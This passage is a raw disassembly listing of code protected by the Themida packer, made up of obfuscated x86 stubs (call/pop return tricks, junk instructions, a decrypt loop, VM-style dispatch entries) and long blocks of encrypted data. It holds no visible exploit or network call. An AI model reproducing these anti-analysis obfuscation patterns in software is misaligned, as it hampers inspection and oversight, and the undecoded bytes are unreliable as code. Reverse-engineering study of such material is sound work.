arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_57FD3C endp
; ---------------------------------------------------------------------------
dd 0D875BBC9h, 983BCDF2h, 0B870F30h, 0E9000000h, 6, 93CE38AFh
dd 3E807391h, 1B840F00h, 60000000h, 20C5BD01h, 8D8B0612h
dd 6122905h, 0E9F8A461h, 0FFFFFFE2h, 15F59589h, 0C02B0612h
dd 6E9h, 0FC9A7F00h, 0AAFEAA87h, 0D1815760h, 76229530h
dd 0D95895Ah, 61061209h, 7B8FCh, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 140424h, 52420000h, 85C7D7C3h
dd 61217B1h, 1, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 18h, 57C35646h, 0A30D648Bh, 68A0Fh, 85310000h, 6121E89h
dd 0B58D8DF8h, 0E906124Dh, 12h, 4846F05h, 2DBDDA49h, 0AF79EEh
dd 0E1B9301Bh, 0E1FF8F58h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 18h, 0D5C35343h, 0DEF66D92h, 3259509h, 860F0612h
dd 1, 245C8BF9h, 0E8550Ch, 5D000000h, 9441ED81h, 838B0615h
dd 0B8h, 7B088589h, 858D0615h, 6159292h, 0B88389h, 335D0000h
db 0C0h, 0C3h
; ---------------------------------------------------------------------------
loc_57FE7A: ; CODE XREF: Themida_:0057FC76j
push 0
push ebp
call sub_57FE85
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57FE85 proc near ; CODE XREF: Themida_:0057FE7Dp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_57FE85 endp
; ---------------------------------------------------------------------------
db 87h, 9Fh, 0A4h
dd 0AB8536F8h, 11E9EFh, 0C7520000h, 0F917FEB9h, 0B843F847h
dd 698C174h, 8992FA30h, 12133D8Dh, 39858906h, 6006120Dh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 94C35747h
dd 860D9980h, 29B1BAC1h, 1209B5BDh, 8D950906h, 8D061217h
dd 15972285h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1904h, 0C3514100h, 97E0B5F8h, 810FF408h, 6, 5B99501h
dd 60500612h, 0EE8h, 48B5D000h, 66AB969Dh, 8ECFCC34h, 0FE2BC20h
dd 80h, 89615B00h, 9D892404h, 6122EDDh, 0DE9h, 0D1D8000h
dd 7645E2C2h, 81A33CB0h, 0FF644B05h, 35h, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 0D588D5BCh, 6060F860h, 4DBF6661h, 64616151h, 2589h
dd 8A0F0000h, 5, 0FC616060h, 0B3858D61h, 6A061597h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
dd 0D0C5C355h, 9F84E8A1h, 160899Bh, 85952B60h, 8B061207h
dd 85C661F7h, 6122871h, 55006A4Fh, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1904h, 0C3554500h, 4DC226F6h, 6660B9DAh
dd 1751E781h, 2C9DF181h, 0E8613036h, 4, 0FEC8742Ah, 0C860Fh
dd 8B0F0000h, 6, 800Fh, 0E9500000h, 9, 7E474F19h, 8A3715C7h
dd 24448B5Ah, 0C8D0F04h, 0F000000h, 682h, 0F525000h, 8B585A31h
dd 0B1606000h, 61616002h, 24448961h, 50525004h, 850F52h
dd 0F000000h, 880F31h, 5A000000h, 0E9310F58h, 0Ah, 0D1D9259Bh
dd 0EABFF2E2h, 585A56FDh, 81666058h, 66CB07C8h, 0C21AD381h
dd 0E9B5FF61h, 6A061230h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 587FC356h, 0D5D099CDh
dd 291DB509h, 0BD290612h, 6120285h, 7F35858Dh, 8D890615h
dd 6121775h, 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1B0424h, 56460000h, 0F5E74AC3h, 367CDC3Dh, 0D6E9F931h
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 17042444h, 45000000h, 0BAE7C355h, 800F7467h, 13h, 0EE9h
dd 0ADB25000h, 3D6CDEFh, 4FF1B061h, 0F9CC92Fh, 78Ah, 0BB666000h
dd 61FC2DD1h, 0C245C8Bh, 0E855h, 815D0000h, 15972CEDh
dd 0B1858B06h, 89061203h, 1230E985h, 39858B06h, 8906121Dh
dd 120CC585h, 0ED858B06h, 89061222h, 121DFD85h, 7185C606h
dd 61228h, 80C085C7h, 615h, 858D0000h, 61597B3h, 0B88389h
dd 335D0000h, 6AC3C0h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 160424h, 50400000h, 0BEF5BEC3h, 7E9h, 9F21B300h, 9B3D5A9Eh
dd 0D1816660h, 8B607B5Dh, 0CD8531D9h, 6106120Ch, 0FF74BC61h
dd 95890012h, 61201E5h, 58F64h, 60000000h, 0BE9h, 0EF1BAD00h
dd 8860C9ABh, 8D1F3D76h, 0D98D0160h, 2B061226h, 1226A5BDh
dd 1616106h, 12199985h, 4C48306h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 19h, 0DEC35343h, 1E3BDB7Bh, 10E9C8h
dd 23920000h, 0CF4608C9h, 0CEBCACD8h, 0B1141E2Fh, 9589E902h
dd 61217E1h, 6E961h, 1E000000h, 3E6Eh, 51CE9h, 0EB574A00h
dd 0FF695D4Dh, 17797161h, 2D938979h, 42AA9F8Fh, 6AD837A4h
dd 7F6F0D75h, 96862488h, 0AF9F3D9Dh, 0BAB957B5h, 9FC0E859h
dd 0BCCF75FEh, 57150F6Ah, 42A29B61h, 0B951E93Fh, 83774DB6h
dd 56C01619h, 0CDC1897Eh, 0D776B63h, 711CB40Ah, 3A3DA79Bh
dd 0CFC7AE4h, 3309B412h, 82D8DB39h, 0F6CC3518h, 40969901h
dd 0A604FED6h, 70643AA3h, 2AD0306h, 0E9076991h, 0B822706Fh
dd 7F82ECE0h, 0BC8B6B22h, 0D6C664C2h, 49D27DDDh, 0E907B0D8h
dd 771BF6Fh, 0EC5DE689h, 6FE907C4h, 3B137DCBh, 29DFE242h
dd 16746E32h, 9FDD37Eh, 4E469C9Fh, 9BF1F456h, 38F74E31h
dd 0D0908958h, 1D7376D8h, 6E44E785h, 56BAB179h, 0FB65FD53h
dd 20CB2923h, 82EC564Ah, 7214E9Fh, 19D06FE9h, 0ECE1B739h
dd 30968C84h, 7A92E9C6h, 73D9D81Dh, 30000000h, 0FE01615Ah
dd 648CFDA8h, 6B6FE8FBh, 0F77B31Dh, 63B4B715h, 6FE90739h
dd 776D43E4h, 2606A711h, 1D7AFB52h, 142D8h, 0FE80000h
dd 45AEB11Bh, 7234BBCh, 3C316FE9h, 7C7BD1D4h, 0D842362Eh
dd 38A2966Eh, 23897F35h, 567EEF78h, 656FE907h, 595CC0B7h
dd 1E016B03h, 5B2A0AC1h, 0BC5FFD67h, 0A84EF14Ah, 0EF598728h
dd 695F1D17h, 12AA0003h, 1A0F2074h, 65B32D9Fh, 0E8F1BDECh
dd 0E93B2D55h, 0F71F906Fh, 66FE93Bh, 0D36BB9B8h, 0BC261AD0h
dd 4E49DB9h, 6088F982h, 6F6FE93Bh, 3C181325h, 1EB68D83h
dd 7FE7DCB4h, 9DF7F1E1h, 45B6EF9Eh, 6FE9381Dh, 1E4ADE2Ch
dd 989B333Dh, 0DD88EAE2h, 0CB2C9C6Bh, 0E8524039h, 0B8987105h
dd 1E1A9DE4h, 52C4D8h, 0F6A0000h, 0F9AFB21Ah, 3F9C9F01h
dd 0E4D9A888h, 0F9EEDE7Ch, 0E2D88E91h, 0D748D17Ch, 6FE907AFh
dd 230670BEh, 54D6B68Fh, 7325ACBh, 0EB396FE9h, 815DA481h
dd 3C84D81Dh, 2A000000h, 0AFB21A0Fh, 9DA000F9h, 0D1A08039h
dd 0B91D14DCh, 0AE08321h, 0A46B012h, 0AEB11B0Fh, 0E907305Dh
dd 4A2AE16Fh, 164456C8h, 71ACA6F5h, 147E167Ah, 1DEBE037h
dd 127D8h, 0FCD0000h, 0FCB2B517h, 23F9A402h, 3635C92Bh
dd 0E990655Fh, 1F7659C3h, 0B9B18060h, 2924B957h, 34EE1687h
dd 0AFFD6FE9h, 0A2FB6C17h, 0EB69FB59h, 0EAE49A9Dh, 4FEEE8Ch
dd 0C83AA3A6h, 9FEA62Bh, 0B4489EA1h, 6FD99B50h, 0FB4DD2FCh
dd 9D7D3675h, 1F16D4CEh, 0CA62B8BBh, 0E4423C2Ch, 0D3312BE1h
dd 0D944B628h, 8245D5F5h, 60193518h, 2F28FE80h, 938D65CFh
dd 6E623D39h, 770F0F7Ah, 648DE4D9h, 26D4DE30h, 2B000001h
dd 0E5F5B6B9h, 0AD172B6Ch, 0E0636A71h, 347BC435h, 74C269FBh
dd 63C1BB71h, 1DDBD5C5h, 56D6226h, 1114AC02h, 67823BBh
dd 0DEE963B0h, 0D12F29A2h, 0F51D8E39h, 475FB86h, 0B3694CB6h
dd 3C585BB9h, 69CBC399h, 0FC7E5EFFh, 76BFC78Ah, 66D058A5h
dd 8B36948Eh, 0F7D9002h, 70BAC52Ch, 0FB73B5DDh, 0C76C475h
dd 0E742998Eh, 3489DE2Fh, 2F000000h, 31DC6F6Ah, 16F9B8C0h
dd 36398710h, 0E906BDE5h, 6E4EC7EFh, 170CFFFAh, 0F1F4584Fh
dd 0C06B039Bh, 66A6137h, 0F821299Ch, 9AE89016h, 831DFCh
dd 6ACB0000h, 0C435E063h, 69FB1BAFh, 772D307Eh, 91811F7Dh
dd 0CD363997h, 24ABD344h, 64B275FBh, 236887FAh, 45FE75FBh
dd 3E9C9665h, 8D8BFDA0h, 70CC2C4h, 787BE5D9h, 0A3208A22h
dd 0FC6E19A8h, 367C1CCDh, 6AF55F27h, 0F999DF9h, 46B74070h
dd 6FF0691Eh, 7D4BDF2Dh, 0E9A332C2h, 3F8D6CD6h, 2E8C863Ch
dd 3515D42Bh, 85E3DDB3h, 0CB35938Dh, 19C45F4Eh, 3D24CA8h
dd 160DBB6Ah, 5FC3BAB2h, 0D06E065Ch, 0E0636A7Ch, 0E2D6AC35h
dd 7CCF465h, 85D36FE9h, 2A94EAEDh, 0FC9F5BB7h, 595CAA69h
dd 0F7EBA9A3h, 6757F58Dh, 0BB0C0F6Dh, 5DA81E1Fh, 0E1D7AD4Eh
dd 0D34FA47Fh, 5AF2C049h, 5AC423C6h, 0A00A945Fh, 56501FFFh
dd 706A5AF8h, 63590F12h, 37E052FDh, 0DD8F660Fh, 0FCFF635Ah
dd 0C1A40EA6h, 0C738C16Ah, 0AE57229Fh
dd 55F660AEh, 4EACA675h, 68C6C0B0h, 14C065h, 0AD1F0000h
dd 6FF02BBFh, 0FE6F1A82h, 0AE5763D6h, 0F12D97E5h, 1C0F5995h
dd 0FDF7ADB0h, 0EDE69C9Fh, 0DDD48A8Dh, 0CBC07679h, 0B5AA6063h
dd 9E944A4Dh, 877F3538h, 786C2225h, 684D0B0Eh, 66B1h, 68241C89h
dd 7A6Eh, 68240C89h, 47ADh, 57241489h, 2557568h, 0D7F75F17h
dd 0C106E7C1h, 0BD5502EFh, 79441B99h, 6F9C581h, 814D5A2Dh
dd 0AC122CEDh, 5DEF29C9h, 545FF989h, 8324148Bh, 0B85004C4h
dd 8, 56517605h, 2DD00144h, 44565176h, 8B580889h, 89572414h
dd 4C781E7h, 83000000h, 3C8704C7h, 34FF5C24h, 0C4815924h
dd 4, 0FCE2B4E9h, 545175FFh, 0D47DBAC5h, 1A0F5E53h, 9CCDB8BDh
dd 0C5030615h, 510BE0FFh, 0E19B0FCDh, 0A9832499h, 0A7456321h
dd 8E875FCh, 0F5000000h, 0E9C431B1h, 0B55D9E98h, 0E96058F8h
dd 8, 1E889823h, 0E1066BFh, 0B5C08161h, 6600006Ah, 0BF85B7BAh
dd 0
; ---------------------------------------------------------------------------
jmp loc_5807CA
; ---------------------------------------------------------------------------
db 43h, 0BCh, 37h
dd 0D5BFE32Bh, 7A12949h, 0A1FF670Bh
; ---------------------------------------------------------------------------
std
wait
loc_5807CA: ; CODE XREF: Themida_:005807B4j
; Themida_:0058081Aj
mov esi, [eax+edi]
mov edx, 36C6239Fh
add esi, 3411D04Ch
or dx, 0C9B3h
add esi, 7722E578h
add edx, 7167FA5Dh
add esi, 27397DDCh
push edx
sub cx, 5D32h
pop ecx
push esi
movsx edx, bx
pop dword ptr [eax+edi]
mov ebx, 100EE1D1h
mov edx, 1D20942Ah
sub edi, 4
js loc_580814
mov dx, 46BAh
loc_580814: ; CODE XREF: Themida_:0058080Aj
cmp edi, 0FFFF95E0h
jnz loc_5807CA
mov dx, 0F911h
jmp loc_580914
; ---------------------------------------------------------------------------
db 23h, 3, 33h
dd 55C9757h, 0A188838Ah, 0E0A1D76h, 538FDD7Ah, 2F6D3733h
dd 773D557Dh, 7DD57F2Dh, 3D577DD7h, 75DF6DF7h, 7DD773D5h
dd 0EDF73D57h, 5375D55Fh, 2F6D3733h, 773D557Dh, 7DD57F2Dh
dd 1E577DD7h, 75DF6D17h, 60206020h, 0E0E02020h, 68AC2060h
dd 0E4A9F77Bh, 0B2D020A1h, 0B7EDA693h, 0F291B99Dh, 6020ACA3h
dd 60206020h, 0E0E02020h, 53752060h, 2F0D0A33h, 6020557Dh
dd 60206020h, 362BA728h, 60C950F0h, 0A1EFB6F3h, 0B4E0F796h
dd 92B8E3A7h, 0E9B3F471h, 60F76DB9h, 60206020h, 20206020h
dd 1ADF6DF7h, 7DD77335h, 0EDF73D57h, 5375D55Fh, 2F6D3733h
dd 773D557Dh, 7DD57F2Dh, 3D577DD7h, 75DF6DF7h, 7DD773D5h
dd 0EDF73D57h, 5375D55Fh, 2F6D3733h, 0A1E357Dh, 3407000Eh
dd 0A0A3D25Dh, 1E59h, 0
; ---------------------------------------------------------------------------
loc_580914: ; CODE XREF: Themida_:00580824j
jmp loc_581601
; ---------------------------------------------------------------------------
push 615A198h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 615A2B3h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 615A3BCh
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 615A496h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 615A50Ch
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 615A5AFh
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 615A731h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 615A81Fh
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 615A909h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 615A9B1h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 615AA5Ch
jmp loc_54EA15
; ---------------------------------------------------------------------------
db 80h
dd 9383218Dh, 0A797359Fh, 0BFAF4DAFh, 0D5C563C9h, 6DDA78E0h
dd 43ABA012h, 5ABEB5A5h, 73D3CCBCh, 8DEBE5D5h, 1E8FF0EFh
dd 75FEA6F6h, 7B51F205h, 0C51B1E86h, 150F1F5Bh, 67FF5D57h
dd 172FB64h, 6FE907D9h, 0C8A796E0h, 9827EDD6h, 0C7BE9600h
dd 0E9B7DF50h, 78C66FE9h, 8E27DFE4h, 0B951AA24h, 0A30B00B6h
dd 92F0EAA0h, 92722B8Fh, 0EDCD8423h, 28C6241Eh, 5E099893h
dd 0FB9544EDh, 4075569h, 79A1129Bh, 8075FB73h, 0F6F0C832h
dd 6F7BED98h, 43F01CF2h, 57EF5149h, 857F6FEDh, 0A6D32427h
dd 5875FBA5h, 93BB2CB5h, 0A175FBA5h, 0EA4043ADh, 92339DEBh
dd 8BE9E3B2h, 0A503FDEDh, 81F2ECA2h, 0FBA5E810h, 11A9F775h
dd 5939F20Eh, 9432908Ah, 3019489Fh, 5938FDEh, 0F350000h
dd 0FEB4B715h, 72FBA604h, 0E907D901h, 0E792E06Fh, 0E9074E76h
dd 0A50F5D6Fh, 9128427h, 0AB8540FEh, 6C9405B0h, 736FE97Eh
dd 4F3EBB25h, 8E9709B4h, 0F691BD51h, 60D15CC6h, 69FB48A3h
dd 106164B2h, 75FB37E4h, 8F63431Ch, 0DE2FAF38h, 5C7Fh
dd 0D35C2500h, 0A0A305FDh, 78FB74Ah, 509E6FE9h, 7F6269E6h
dd 6BD1C785h, 777A1268h, 0B1C78D21h, 7A1BCF78h, 686137E2h
dd 45AF0508h, 0D24849BAh, 0B30169FBh, 0DD335FB0h, 524975FBh
dd 3E35EBEEh, 2BBD7DAh, 4DDB322h, 2B30A224h, 8F8E62E7h
dd 156C49B3h, 5CDE2FCEh, 0E0h, 62D35C02h, 6FE9073Ah, 0B189F341h
dd 0ED5659B7h, 7CBF364h, 84D26FE9h, 0E54D421Ah, 74322CE2h
dd 58C2B680h, 0BC2528C0h, 79AC233h, 53A16FE9h, 0B91711E9h
dd 0EF0D9C0Eh, 4F40263Ch, 0BFDC67E5h, 556FE99Ah, 6F5FFD5Bh
dd 8A911B75h, 91050CEh, 7F135260h, 7F17756Ch, 972A217Ch
dd 0AED27BECh, 8DDB69FBh, 0C0E859E2h, 0CF75FBAFh, 4991781h
dd 5ECF7A09h, 7010512Fh, 6F232092h, 0E448B15Ah, 7F519B7Ah
dd 240728F6h, 19EF9A32h, 2E1EBC24h, 0BDDFD139h, 8A796F57h
dd 98D02A7h, 0B4A70000h, 0C6BAAA48h, 0D6CEBE5Ch, 0F0E6D674h
dd 7FCEC8Ah, 3594019Fh, 0CC6AD2C7h, 0E381E5DCh, 0FC9AFAF3h
dd 16B4120Ch, 1D45B617h, 2C75FEA8h, 1A0FC719h, 2A2414B2h
dd 198B2ECCh, 0C841380Ah, 0D5117B4Dh, 5CCD636Ah, 6FE90734h
dd 0C00589A6h, 302F2906h, 169F4AE2h, 6B93048Dh, 726FEA04h
dd 4699124h, 22706FEAh, 0E4445B8h, 0B70569FCh, 0F13763B4h
dd 966F75FBh, 648BE2B6h, 0E80DE30h, 3DC5A494h, 0C7006ABCh
dd 0CAh, 0B7150F6Dh, 8E09FEB4h, 0E907F51Dh, 22B6046Fh
dd 0BEF18FB8h, 0A651E90Dh, 7D75D9D0h, 0D5B82286h, 0E9D56784h
dd 65C3BD6Fh, 7FDDD7C7h, 972A217Ch, 0D9D27BECh, 592F69FBh
dd 44A49D63h, 0E953A9ACh, 0FE685C0Ah, 0ECE5BB66h, 0FA4228Ch
dd 69DA851Ch, 70107F4Bh, 0E5494016h, 43228CE2h, 7F744AF5h
dd 595CC0B7h, 0B34BA9A3h, 0A49A701Bh, 9BB0EA42h, 98FDEFh
dd 0BF3DA7FDh, 0FA22931Ch, 16FEF40h, 7C7149B3h, 18682214h
dd 0E0C37970h, 8723Bh, 63CFC200h, 77E1D5C5h, 8FF1E9D9h
dd 0A50B01F1h, 0BA221707h, 0E250AF1Ch, 0F7E785EDh, 0EFE9C00h
dd 2717B515h, 3231CF2Dh, 0A93860D1h, 344775FEh, 0B21A0FE2h
dd 0CC2A2414h, 150FDA2Eh, 70B33A4h, 0C8126FE9h, 2D3EAA0Fh
dd 28C058CAh, 66820B7Dh, 620D35B9h, 655F15F8h, 62D35C07h
dd 6FE9DE3Ah, 0B89F341h, 64677CB9h, 665C32DDh, 3DA7FD00h
dd 5A441B2h, 277569FCh, 7288DA2Dh, 25FB9734h, 5FC8CB2Dh
dd 0C392C6EEh, 0EF87D568h, 7E050885h, 0B1D94AD3h, 0B868C392h
dd 0EC75006Ah, 4FB92116h, 0D5C1C7DCh, 0ECE4BA62h, 0C731878Ah
dd 3C979AE8h, 9607B231h, 68C5353Dh, 527AEB4Ch, 5968C6CBh
dd 3FC8730Bh, 0D597A6CDh, 4ADDD2AAh, 68C60E22h, 1F857B29h
dd 362EC61Ch, 0E772DC3Eh, 1BB91711h, 567EEF78h, 6C68C60Eh
dd 0C6100F77h, 0B8BB7A2h, 3AA43CE5h, 0A20E6862h, 7EB6DBFCh
dd 295749E1h, 0EE8098AEh, 769660Bh, 0D8CB0000h, 0EADECE6Ch
dd 0FAF2E280h, 140AFA98h, 2B2010AEh, 59B825C3h, 0F08EF6EBh
dd 7A50900h, 20BE1E17h, 3AD83630h, 4169DA3Bh, 4875FEAAh
dd 150FE335h, 5259B4B7h, 7234BBCh, 0DC2A6FE9h, 0E7289944h
dd 2669FB18h, 88207E78h, 4CBE47EAh, 341A6F63h, 0A6CE61B5h
dd 0B575FB70h, 8D80FD67h, 0BEDA4BF6h, 4D700F01h, 847E54FFh
dd 0FE58826h, 0F9AFB21Ah, 459B9E02h, 716B43ADh, 0B6B51013h
dd 0D7A3A02Fh, 0D76F09C4h, 6D84BB2Ch, 3B896A04h, 66C0BA90h
dd 0C86A6933h, 50308117h, 87EBCF63h, 7666049Ch, 729A0B7Ch
dd 7975FB59h, 597FA718h, 408E75FBh, 8F6510A8h, 0DE343795h
dd 37369174h, 0CF9001ACh, 52700D68h, 2023837Ch, 338160CAh
dd 760F3D41h, 46EBCE79h, 68Fh, 0A846B2A5h, 0BC5AC4B8h
dd 0D472D4CCh, 0EA88EEE4h, 0FF9D05FAh, 0D0C53792h, 0E3DACA68h
dd 0F8F1E17Fh, 100AFA98h, 0B41514B2h, 0FEAB1B43h, 0BD0F2275h
dd 2E8C865Ch, 0EE6BD52Bh, 0ED368FFh, 0E96CBC8Ah, 0DBD0A651h
dd 0D7E0973h, 69FD23CEh, 3006B1FFh, 4A3AD836h, 39999250h
dd 48439EA1h, 0F8FB6559h, 0EE5F0AA2h, 70102DADh, 0D89C8EDCh
dd 1F796F46h, 619973Ch, 281B0000h, 3A2E1EBCh, 4A4232D0h
dd 645A4AE8h, 7B7060FEh, 0A9087513h, 40DE463Bh, 57F55950h
dd 700E6E67h, 8A288680h, 91B92A8Bh, 9875FEACh, 865C3385h
dd 6ED8CC8Eh, 137D156Bh, 0B2AC9796h, 0FF97FFF4h, 2F4BBC67h
dd 0DE69FC98h, 150FE590h, 2F2919B7h, 5B5026D1h, 4BA689F3h
dd 8D16C140h, 0A143EA1Bh, 0ED96FAE5h, 0F0319C61h, 0EF62CC64h
dd 7011CEB8h, 63EC97E5h, 3B33958Dh, 9B73DD47h, 6E2A47A1h
dd 8017D361h, 605A4AE8h, 0A9A4FF02h, 3DFE6F1Ah, 4C69FBE0h
dd 78D60CFEh, 0A2857363h, 576FDh, 5FCBBE00h, 73DDD1C1h
dd 8BEDE5D5h, 0A107FDEDh, 0B61E1303h, 0DE4CAB18h, 0F3E381E9h
dd 0AFA98FCh, 2313B111h, 2E2DCB29h, 0AC345CCDh, 283B75FEh
dd 0B7150FD6h, 0A604FEB4h, 9B8F6508h, 434AC731h, 1046A60h
dd 0F76813ABh, 69FB1E3Ah, 0A9FAFD4Bh, 75FB227Dh, 28FCDCB5h
dd 0DE2F99D1h, 0A4CC3DC6h, 0AB75FB1Ah, 98FEEF61h, 64FC7949h
dd 5DC1FAh, 42180000h, 0CA3BE64Ch, 75FB63A2h, 0B5F15BA9h
dd 3A62D35Ch, 416FE907h, 10C89F3h, 784ED782h, 43B6207Eh
dd 69FB1142h, 0FCD27DCBh, 4AA0A303h, 80ACFDE0h, 0B875FB1Eh
dd 0D42BFFDFh, 0C9DE2F91h, 79BF9F3h, 52D647A1h, 74AD17CAh
dd 10Bh, 71259CBh, 1376C049h, 60B6B91Bh, 5C225EC8h, 2A2D8D86h
dd 81E5DCD4h, 0E6BE287Eh, 0D03A2EECh, 0DCDF77CDh, 70693126h
dd 0BF757810h, 4ABC67C5h, 4ABE6C8Fh, 0B295FFC7h, 6A402FCh
dd 0E9205E7Bh, 5EBCB66Fh, 85E3DDB3h, 3A342C82h, 4F472DCh
dd 4EA9AC0Ah, 9019C45Fh, 0E91FF71Fh, 34A5066Fh, 6FE91F0Ch
dd 0C32DC513h, 0E2D9AF38h, 1FD2FA6Bh, 8BD96FE9h, 433AF0F3h
dd 0EE86DCDFh, 3D581184h, 338169FBh, 760D0095h, 0A9D142CBh
dd 0B075FB41h, 0FC6DF862h, 700FE366h, 0DAB05BA9h, 3CDF7DE5h
dd 90C6E66h, 0F99642B7h, 38D015A3h, 9D01F6CEh, 0E1CE6F9Dh
dd 0AFC94B7h, 796FE7CEh, 0F4F19679h, 40000003h, 5343E14Dh
dd 6757F55Fh, 7F6F0D6Fh, 95852389h, 2D9A38A0h, 36B60D2h
dd 1A7E7565h, 33938C7Ch, 4DABA595h, 0DE4FB0AFh, 75FEAEB6h
dd 0F60B2C5h, 0F65C521Ah, 0DF81B662h, 0E078D8CFh, 26A5F35h
dd 302A1A98h, 6AE034D2h, 5F35E063h, 0E8590468h, 6FE907C0h
dd 8C1781CFh, 0FB121A1Bh, 0E2E53369h, 0FB1E6591h, 68DA9D75h
dd 0EB5CB8C6h, 75FB6BC3h, 6BE87CCAh, 13B41EBBh, 0E2085F33h
dd 0AF4FDE2Fh, 0F5000000h, 4EACEA5Ch, 49E81EDDh, 0AF0D07DFh
dd 0D2382E04h, 0DACF8568h, 0B7BA1812h, 10706961h, 1C1FB70Dh
dd 83E5DDB3h, 4DC02A80h, 6FE91130h, 133BAC35h, 1A6FE916h
dd 908A62CCh, 0AAA49432h, 0FFEE494Ch, 8F48B964h, 0BE69FB33h
dd 4E3DD270h, 609708B3h, 6D700FDBh, 0A99E741Fh, 0BEB3A341h
dd 0CB726456h, 0E6C9796Fh, 30641h, 0CF3B2E00h, 0E34D4131h
dd 0FB5D5545h, 11776D5Dh, 268E8373h, 4EBC1B88h, 6353F159h
dd 7A6A086Ch, 93832181h, 9E9D3B99h, 0AFA4CC3Dh, 98AB75FEh
dd 0B21A0F46h, 0D33D3107h, 92107AD0h, 0AC4AA8A2h, 0D93B3309h
dd 150F336Fh, 0C24BB4B7h, 0E9072951h, 0D943376Fh, 4A228CDAh
dd 369C9250h, 85AE009Eh, 1FCA5954h, 0C7067CADh, 0DDD76BD1h
dd 0A12C9608h, 0FC039330h, 89348269h, 0DE067700h, 0ED75FC04h
dd 4E40C9Fh, 9DEB75FCh, 32065933h, 0A5D1EF6Eh, 69019E33h
dd 7F7C1070h, 7EA61743h, 8D1210EDh, 0BAAFA73Fh, 8FF94F52h
dd 0DD881B12h, 1FE5E254h, 0A70DFE94h, 0DBE1CA3Dh, 0BA680C22h
dd 85E61C1h, 1B126D70h, 136CDD88h, 7A0E3257h, 0B1AB812Ch
dd 8912B553h, 9A9F018h, 47B1FF12h, 2517756Fh, 0D755AFA7h
dd 1CF89D80h, 18000002h, 2B1BB925h, 3F2FCD37h, 5747E547h
dd 6D5DFB61h, 5721078h, 0DB4338AAh, 0F2564D3Dh, 0B6B6454h
dd 25837D6Dh, 0B6278887h, 75FEB08Eh, 0F388A9Dh, 360CB715h
dd 24867E3Ch, 0C933CB21h, 1808BE6h, 2678E556h, 3B8969FBh
dd 2F24FA9Dh, 6235DC7h, 0E5DFC2C9h, 9A2E8487h, 0E9FF3346h
dd 57029A1Fh, 0E2949E6h, 100AB870h, 996F1AB2h, 0E53B3EA2h
dd 2E4EA17Bh, 3FD3683Ah, 990AB54Ch, 2689F284h, 0F95457A5h
dd 0B21A0FF2h, 16C159AFh, 99064CA5h, 0C46FBD24h, 0F896F4EEh
dd 0BEB00E08h, 0BCEC5DFCh, 74872C0Fh, 0C0000001h, 0D3C361CDh
dd 0E7D775DFh, 0FFEF8DEFh, 1505A309h, 0AD1AB820h, 83EBE052h
dd 9AFEF5E5h, 0B3130CFCh, 0CD2B2515h, 5ECF302Fh, 75FEB036h
dd 0FE03245h, 360CB715h, 8F72DC3Eh, 0FFAA3934h, 0FB033D8Eh
dd 53FE4C69h, 0B620887Dh, 0F744E638h, 6D652B21h, 1AB2080Bh
dd 0A93833B0h, 32F08DFEh, 0D321700Dh, 16FE86D9h, 7C6FD71Ch
dd 40B13AE5h, 28DBC718h, 0E46FD927h, 0EDF65E73h, 5E61AF22h
dd 21190803h, 0B7C27BFh, 28DD6AB2h, 9D63592Fh, 0E93F42A6h
dd 8EF84E51h, 0E0B661AFh, 0FAEA88E6h, 0B0A200h, 0F7C080C2h
dd 0C96F14h, 786B0000h, 8A7E6E0Ch, 9A928220h, 0B4AA9A38h
dd 0CBC0B04Eh, 0F958C563h, 902E968Bh, 0A745A9A0h, 0C05EBEB7h
dd 0DA78D6D0h, 0E1097ADBh, 0E875FEB1h, 150F83D5h, 5259B4B7h
dd 129B24CFh, 0E90779A1h, 0C832806Fh, 0FB2C0C55h, 31CF1D69h
dd 6712919Ch, 0EC6BBF6h, 797CCA70h, 0CD6BC9C3h, 3025E3DDh
dd 0D76FC5C8h, 86ADBA2Ch, 181B8378h, 2D952EC2h, 227356C0h
dd 3ED7A197h, 4C4FB9ADh, 3639A196h, 0D14020DFh, 0C2BB9132h
dd 9F095F62h, 554F1EFEh, 52C34CF7h, 0C10A5F2Ah, 0FB79E331h
dd 2FA0110Bh, 0C10A5F07h, 0DAD0C816h, 831B7174h, 6ED4CA80h
dd 7555146Bh, 0B04EACA6h, 6568C6C0h, 0AC0h, 0A956E00h
dd 0D3D64034h, 0FD7137Dh, 0F7ADB01Ch, 0E69C9FFDh, 0D48A8DEDh
dd 0C07679DDh, 0AA6063CBh, 944A4DB5h, 7F35389Eh, 6C222587h
dd 4D0B0E78h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
push 563Dh
mov [esp], edi
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ecx
mov edi, 77CE1F45h
push eax
